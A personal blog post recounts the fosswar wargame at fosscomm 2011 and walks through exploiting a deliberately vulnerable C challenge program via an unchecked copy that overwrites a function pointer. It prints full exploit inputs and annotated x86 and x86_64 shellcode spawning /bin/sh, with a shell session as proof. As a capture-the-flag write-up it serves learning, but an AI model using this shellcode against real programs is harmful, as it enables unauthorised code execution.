Last weekend I went to fosscomm 2011, a Greek conference on Free and Open Source Software, together with my friend Nick Kossifidis (mickflemm), at the University of Patras. I can say we had a wonderful time there. I met many interesting people, some that I knew from the internet already and some that I didn’t, I attended many interesting talks about topics that I had limited or no knowledge and I also took part in fosswar, a wargames competition that had some quite interesting challenges.

Fosswar was very exciting. There were five challenges (you can get them here if you are interested). People were organized in teams, splitting the 5 challenges between them or collaborating on some of them. When it started, there was no room to sit with my laptop, so I stayed for some time trying to help my friend with the challenge that he started solving (challenge 5, reverse engineering). A little later, some people left, so I thought why not start solving challenge 4 (exploitation), which nobody in my friend’s team had started solving. And so I did…

In this challenge, we were given the source code of a C program that had an exploitable security hole that we had to exploit. The program works like this: Initially, it allocates an array of many “struct bogus”, where “struct bogus” is:

struct bogus {
  size_t magic;
  fptr f;
  char buffer[16];
} bogus_t;

This array is dynamically allocated with mmap() on a predefined memory address (0×80000000). After that, it populates the buffers of all the “struct bogus” with the character ‘M’ (0x4D), the magic numbers with ~0 (0xFFFFFFFF on 32-bit and 0xFFFFFFFFFFFFFFFF on 64-bit) and the function pointers (fptr f) with 0. When everything is initialized, it starts reading from stdin and places whatever it reads on a 1KB buffer on the stack. Then, it copies the contents of the buffer to the 16-byte buffer of a random “struct bogus” in the array and then it iterates over all the “struct bogus” in the array, starting from the second one, verifying that their magic number is still ~0 and executing the function f, if the function pointer f is not null. Ok, this is not the most useful program in the world, it is *made* to be exploited, but well, let’s see how this can be done.

One might think that reading from stdin to a buffer on the stack looks like  a stack overflow might be possible. However, this is not true in this case, since the call to read() uses sizeof(buffer) – 1 as the maximum size, so one could not possibly inject more than 1KB of data in this buffer. But, when this 1KB buffer is copied to the 16-byte buffer of one of the “struct bogus”, there is no size check! Therefore, it is possible to write more than 16 bytes and overwrite the contents of many “struct bogus” in the array. Then, since those structs have a function pointer that is called if it is not null, one can probably set this pointer to point to the injected data in the array and put some nice assembly instructions there.

So far so good, but there is one remaining problem. We don’t know the exact address of the “struct bogus” that we have access to, because the index in the array where our data is written is chosen with rand(). That’s where those lines start being useful:

buffer[0] = 0xe9;
*(u_int32_t *)&buffer[1] = ((u_int32_t)(sizeof(struct bogus) * (idx + 1) + sizeof(size_t) + sizeof(fptr) - 5));
memcpy(map, buffer, 5);

This looks weird at first sight. What it does is that it fills the first 5 bytes of the aforementioned array (the map pointer) with 0xe9 followed by a number that is the relative number of bytes from the 5th byte of the array to the beggining of the “buffer” member of the “struct bogus” that is right after the one that we have access to. After googling a bit, one can find that 0xe9 is in fact the opcode of the x86 JMP command and the number is exactly the offset needed to jump to the first byte of this buffer.

So, the solution is injecting something like this (for x86):

% hd input_x86
00000000  4d 4d 4d 4d 4d 4d 4d 4d  4d 4d 4d 4d 4d 4d 4d 4d  |MMMMMMMMMMMMMMMM|
00000010  ff ff ff ff 00 00 00 80  31 c9 6a 01 5b 6a 3f 58  |........1.j.[j?X|
00000020  cd 80 f7 e1 51 68 2f 2f  73 68 68 2f 62 69 6e 89  |....Qh//shh/bin.|
00000030  e3 6a 0b 58 cd 80                                 |.j.X..|

This fills the 16 bytes of the “buffer” member with 0x4D (the value that was already there from the initialization – anything else will also work), then it overwrites the next “struct bogus” and places 0xFFFFFFFF on the magic number (required, else the check will fail), 0×80000000 on the function pointer (the beginning of the array, where there is the JMP command) and a shellcode on the rest of it. The shellcode can be as long as we want, since execution is never going to go further than this point, so the magic number of the next struct doesn’t need to be correct.

The fun here was not exploiting the program, but creating a shellcode that does something useful! I had never done this before and I also had limited knowledge of the x86 instruction set and how linux system calls work, however after some research I managed to do it (but I did this at home, later, not during the competition; during the competion I was only able to see in gdb that $eip changes and points to this address in my data and then it crashed). Here is the shellcode that I wrote (with some help from existing shellcodes on the internet):

Equivalent C code:
    dup2(1,0);
    execve("/bin/sh", 0, 0);

//ecx = 0; (dup2 second arg)
31 c9                   xor    %ecx,%ecx

//ebx = 1; (dup2 first arg)
6a 01                   push   $0x1
5b                      pop    %ebx

//eax = 0x3f; (dup2 syscall)
6a 3f                   push   $0x3f
58                      pop    %eax

//call dup2
cd 80                   int    $0x80

//edx:eax = eax * ecx; (== 0)
//-> this effectively sets edx to 0, required 3rd argument for execve
f7 e1                   mul    %ecx

//push "/bin//sh" on the stack. ecx provides the terminating null char
51                      push   %ecx
68 2f 2f 73 68          push   $0x68732f2f
68 2f 62 69 6e          push   $0x6e69622f

//ebx = esp; (which is a pointer to "/bin//sh", first argument for execve)
89 e3                   mov    %esp,%ebx

//eax = 0xb; (execve syscall)
6a 0b                   push   $0xb
58                      pop    %eax

//call execve
cd 80                   int    $0x80

This invokes /bin/sh after setting stdin to be the same as stdout. I had to do this dup2() call because when running the program on the shell like this “./exp < input_x86″, stdin is the input file and when the shell executes, the file is already at its end, so the shell exits due to EOF. But after setting stdin be equal to stdout (which is the terminal device), input on the shell works fine, so here it is:

gkiagia@gkserver(pts/5):0:43:46:~/Projects/misc/fosscomm2011-exploit
% ./exp_x86 < input_x86
strcpy() + 0x41414141 != Stack oveflow / get over it!
Your lucky number is: 163
$ ls
a.out  exp_x86  exp_x86_64  exploitable.c  input_x86  input_x86_64  shellcode_x86.c  shellcode_x86_64.c
$ rm a.out
$ ls
exp_x86  exp_x86_64  exploitable.c  input_x86  input_x86_64  shellcode_x86.c  shellcode_x86_64.c
$ exit
gkiagia@gkserver(pts/5):0:50:56:~/Projects/misc/fosscomm2011-exploit
%

And for fun, I also did the same thing for x86_64:

% hd input_x86_64
00000000  4d 4d 4d 4d 4d 4d 4d 4d  4d 4d 4d 4d 4d 4d 4d 4d  |MMMMMMMMMMMMMMMM|
00000010  ff ff ff ff ff ff ff ff  00 00 00 80 00 00 00 00  |................|
00000020  48 31 f6 6a 01 5f 6a 21  58 0f 05 48 f7 e6 56 48  |H1.j._j!X..H..VH|
00000030  bb 2f 62 69 6e 2f 2f 73  68 53 48 89 e7 6a 3b 58  |./bin//shSH..j;X|
00000040  0f 05                                             |..|

//rsi = 0; (dup2 second arg)
48 31 f6                xor    %rsi,%rsi

//rdi = 1; (dup2 first arg)
6a 01                   push   $0x1
5f                      pop    %rdi

//rax = 0x21; (dup2 syscall)
6a 21                   push   $0x21
58                      pop    %rax

//call dup2
0f 05                   syscall

//rdx:rax = rax * rsi; (== 0)
//-> this effectively sets rdx to 0, required 3rd argument for execve
48 f7 e6                mul    %rsi

//push "/bin//sh" on the stack. rsi provides the terminating null char
56                                  push   %rsi
48 bb 2f 62 69 6e 2f 2f 73 68       movabs $0x68732f2f6e69622f,%rbx
53                                  push   %rbx

//rdi = rsp; (which is a pointer to "/bin//sh", first argument for execve)
48 89 e7                mov    %rsp,%rdi

//rax = 0x3b; (execve syscall)
6a 3b                   push   $0x3b
58                      pop    %rax

//call execve
0f 05                   syscall

That’s it! I hope you found it interesting too. If you are interested in the other challenges as well, you can read about them here.

About these ads